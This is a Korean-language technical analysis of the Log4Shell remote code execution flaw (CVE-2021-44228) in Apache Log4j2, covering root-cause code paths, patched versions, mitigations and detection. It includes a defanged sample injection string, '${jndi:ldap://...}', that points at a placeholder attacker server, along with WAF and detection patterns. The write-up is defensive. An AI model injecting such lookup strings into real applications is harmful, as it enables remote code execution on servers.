CVE-2021-44228 (Log4Shell 원격코드실행) 분석
기록하려던 문자열 하나가 통째로 실행 명령이 됐다
CVE · 웹·서버 · RCE(원격 코드 실행) · CVE-2021-44228
로그(log)는 “무슨 일이 있었는지 나중에 확인하려고 남기는 기록”입니다. 그런데 Apache Log4j2(자바 로깅 라이브러리)의 특정 버전대는, 그 기록 안에 특정 문자열을 심기만 하면 기록되는 순간 원격 서버로 접속해 코드를 실행해 버렸습니다. 로그인 실패 메시지 한 줄, User-Agent 헤더 한 줄이면 충분했습니다. 2021년 12월 공개된 이 취약점(Log4Shell)은 인터넷에서 손꼽히는 파급력을 남긴 사례로 남았습니다.
개요
Log4j2는 자바 애플리케이션 대다수가 의존성 체인 어딘가에서 쓰는 로깅 라이브러리입니다. 취약한 버전에서는 애플리케이션이 사용자가 통제 가능한 문자열을 로그로 남기기만 해도, 그 문자열 안의 특정 패턴이 원격 LDAP/RMI 서버를 조회하고 그 응답으로 원격 코드를 실행할 수 있었습니다. 인증도, 사용자 상호작용도 필요 없는 무인증 원격 코드 실행이라, NVD는 CVSS v3.1 기준 10.0(CRITICAL)을 매겼습니다. 영향 범위는 Log4j2 2.0-beta9부터 2.14.1까지이며, 특정 로그 형식(log4j-core 의존)을 쓰는 사실상 모든 자바 서버·애플리케이션이 잠재 대상이었습니다.
기술 배경 — 로그 메시지 안에서 “조회식”이 실행되는 구조
Log4j2는 로그 형식 문자열 안에 ${...} 형태의 조회식(lookup)을 쓸 수 있게 설계돼 있습니다. 예를 들어 ${date:yyyy-MM-dd}는 현재 날짜로, ${env:PATH}는 환경변수 값으로 치환됩니다. 이 치환 기능은 StrSubstitutor와 Interpolator라는 내부 컴포넌트가 처리하고, 조회 종류(prefix)마다 별도의 “룩업(Lookup)” 클래스가 매핑돼 있습니다.
문제는 이 조회식 중 하나가 jndi였다는 점입니다. JNDI(Java Naming and Directory Interface)는 자바 애플리케이션이 이름으로 원격 리소스(디렉터리 서버·데이터베이스 등)를 찾아오는 표준 API입니다. ${jndi:ldap://공격자서버/이름} 형태의 조회식이 해석되면, Log4j2는 실제로 그 LDAP 서버에 네트워크 접속해 응답을 받아옵니다. 문제는 여기서 그치지 않습니다 — LDAP 응답이 자바 객체를 원격에서 로드하도록 가리키면, JVM(자바 가상 머신)의 클래스 로딩·역직렬화 경로를 통해 그 원격 객체의 코드가 실행될 수 있습니다. 더 심각한 건, 개발자가 명시적으로 조회식 기능을 쓴 적이 없어도 — 그냥 logger.error("로그인 실패: {}", 사용자입력)처럼 평범하게 로그를 남기기만 해도 — 로그 메시지 본문이 기본값으로 조회식 해석 대상이었다는 점입니다.
CVE 분석 요약 — 어느 코드가 원인인가
공개된 Apache logging-log4j2 GitHub 저장소의 실제 소스를 대조한 결과, 원인은 두 층으로 나뉩니다.
① 기본 동작이 “로그 메시지도 조회식을 해석한다”였다. 취약한 버전(2.14.1 이하)의 log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java(newInstance 메서드)는, 별도로 nolookups 옵션을 주거나 시스템 프로퍼티 log4j2.formatMsgNoLookups를 켜지 않는 한 결과를 LookupMessagePatternConverter로 감쌌습니다 — 즉 로그 메시지 본문에서 조회식이 기본으로 해석됐습니다. 이 시스템 프로퍼티의 기본값이 false였다는 점(같은 파일이 참조하는 Constants.java)이 “기본으로 열려 있던” 근본 원인입니다.
② jndi 조회식이 스킴·호스트 검증 없이 원격 조회를 수행했다. 실제 조회를 수행하는 log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java의 lookup() 메서드는 전달받은 이름을 그대로 JndiManager.getDefaultManager().lookup(jndiName)에 넘깁니다. 이 JndiManager(log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java)의 lookup()은 내부적으로 javax.naming.InitialContext#lookup(name)을 그대로 호출합니다 — 어떤 프로토콜(ldap·rmi·dns 등)이든, 어떤 호스트든 제한이 없었습니다.
아래는 이 인과를 보여주는 무해한 개념 예시입니다. 실제 공격에 쓰이는 완성형 페이로드가 아닙니다.
# 개념용 단순화, 실제 페이로드/원본 코드 아님 (무해화)
애플리케이션 코드: logger.error("로그인 실패: {}", 사용자입력값)
사용자입력값: "${jndi:ldap://공격자서버:포트/무해화}"
Log4j2 내부 처리: 메시지를 그대로 기록하기 전에 ${...} 패턴을 조회식으로 해석
→ jndi 룩업 실행 → 원격 서버로 네트워크 조회
→ 응답이 가리키는 원격 객체 로드 시도
결과: "기록"이 목적이던 호출 한 줄이 원격 코드 실행 경로가 됨
즉 근본 원인은 “JNDI 자체가 위험해서”가 아니라, ①신뢰할 수 없는 입력(로그 메시지)이 기본으로 조회식 해석기를 거쳤고, ②그 해석기 중 하나(jndi)가 대상 프로토콜·호스트를 검증하지 않고 원격 조회를 수행했다는 두 판단이 겹친 자리입니다.
공격 시나리오 · 영향도 + 대응방안
공격 시나리오 (단계 압축, 완성형 페이로드 없음):
- 공격자가 애플리케이션이 로그로 남길 가능성이 있는 입력 지점(로그인 폼, User-Agent, 커스텀 HTTP 헤더, 검색어 등)에
${jndi:...}형태 문자열을 심어 전송합니다. - 애플리케이션이 이 값을 Log4j2로 로그에 기록하면, 취약한 버전은 메시지 본문의 조회식을 해석해 공격자가 지정한 원격 서버로 LDAP/RMI 조회를 수행합니다.
- 원격 서버 응답이 가리키는 자바 객체가 JVM에 로드·실행되며, 그 서버 프로세스 권한으로 임의 코드가 실행됩니다.
영향도: 무인증·원격·저복잡도로 서버 프로세스 권한의 임의 코드 실행이 가능해, 데이터 유출·랜섬웨어·내부망 피벗의 발판이 됩니다. NVD는 이 세 가지 영향(기밀성·무결성·가용성)을 모두 HIGH로, 범위(Scope)는 CHANGED(취약한 컴포넌트를 넘어 다른 리소스에 영향)로 판정했습니다.
대응방안:
- 근본 — 안전 버전으로 업데이트. 이 CVE(CVE-2021-44228) 자체는 Log4j2 2.16.0 이상(및 백포트 2.12.2 / 2.12.3 / 2.3.1)에서 JNDI 조회가 기본 비활성화되고 메시지 룩업 기능 자체가 제거되며 닫혔습니다. 주의: 최초 수정이던 2.15.0은 GitHub Security Advisory(GHSA-jfh8-c2jp-5v3q)가 명시하듯 모든 상황에서 JNDI 조회를 막지 못한 불완전한 패치였고, 이 잔여 문제는 별도 CVE-2021-45046으로 추적됐습니다. 즉 “2.15.0으로 올렸으니 안전하다”는 잘못된 결론입니다 — 최소 2.16.0 이상이어야 합니다. (이후 서비스 거부(DoS) 결함이 2.17.0에서, JDBC Appender 관련 원격 코드 실행 결함이 2.17.1에서 추가로 수정됐으므로, 실무에서는 해당 시점의 최신 2.x 패치판을 쓰는 것이 안전합니다.)
- 차선(즉시 업데이트 불가 시): 클래스패스에서
JndiLookup클래스를 제거하거나(zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class), 시스템 프로퍼티log4j2.formatMsgNoLookups=true또는 환경변수로 메시지 조회식 해석을 강제로 끕니다. WAF(웹 방화벽)에서${jndi:패턴을 차단하는 것은 인코딩 변형이 많아 보조 수단일 뿐 단독 대응책이 아닙니다. - 탐지 관점: 아웃바운드 LDAP/RMI 연결 로그, HTTP 헤더·요청 파라미터에
${로 시작하는 조회식 패턴, 그리고 애플리케이션 서버가 평소 접속하지 않던 외부 호스트로의 신규 아웃바운드 연결을 모니터링합니다.
결론
“기록”이 목적이던 로그 한 줄이 실행 경로가 될 수 있었던 이유는 단 하나입니다 — 신뢰할 수 없는 입력이 기본으로 조회식(표현식) 해석기를 거쳤기 때문입니다.
이 부류의 버그가 반복되는 이유는 명확합니다. 서식·템플릿을 처리하는 계층이 입력을 “출력할 문자열”이 아니라 “해석할 표현식”으로 다루는 순간, 그 계층에 도달하는 모든 사용자 입력이 잠재적 실행 경로가 됩니다. 서버 사이드 템플릿 인젝션(SSTI)이나 EL(Expression Language) 인젝션도 같은 뿌리에서 나옵니다 — 렌더링·로깅·템플릿 엔진처럼 “값을 문자열로만 다룰 것 같은” 계층이 실은 표현식을 해석하고 있다면, 그 경계를 다시 확인해야 합니다. 이 한 틈은 패치로 닫혔지만, 이 사고방식은 다른 자리에서 또 나옵니다 — 그래서 우리는 도구가 아니라 방법을 남깁니다.
References / 참고자료
- NVD — CVE-2021-44228 Detail. 공식 CVSS(v3.1 10.0 CRITICAL)·CWE·영향 버전 범위 근거. 이 글이 재구성한 원 분석. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- GitHub Security Advisory GHSA-jfh8-c2jp-5v3q — Remote code injection in Log4j. 2.15.0 불완전 패치·후속 CVE-2021-45046·백포트 버전(2.12.2/2.12.3/2.3.1) 확정 근거. https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- Apache
logging-log4j2저장소 — 실제 패치 커밋(LOG4J2-3198: Log4j2 no longer formats lookups in messages by default, 2.15.0에 반영).MessagePatternConverter.java·Constants.javadiff 근거. https://github.com/apache/logging-log4j2/commit/001aaada7dab82c3c09cde5f8e14245dc9d8b454 - Apache Software Foundation — Apache Log4j Security Vulnerabilities 공식 보안 페이지. 벤더 원문 권고·버전별 수정 이력. https://logging.apache.org/log4j/2.x/security.html
- Apache JIRA LOG4J2-3198 — 패치 배경이 된 이슈 트래커 원 논의. https://issues.apache.org/jira/browse/LOG4J2-3198
이 글은 위 1차출처(NVD·GitHub Security Advisory·Apache logging-log4j2 실제 패치 커밋·Apache 공식 보안 페이지)를 우리 관점에서 다시 쓰고 논평을 더한 것입니다. 특정 문장·코드를 그대로 옮기지 않았으며, 자세한 재현 절차는 원문을 참고하세요. 이 초안은 RN-11 독립 팩트체크(2026-08-31)를 통과했습니다.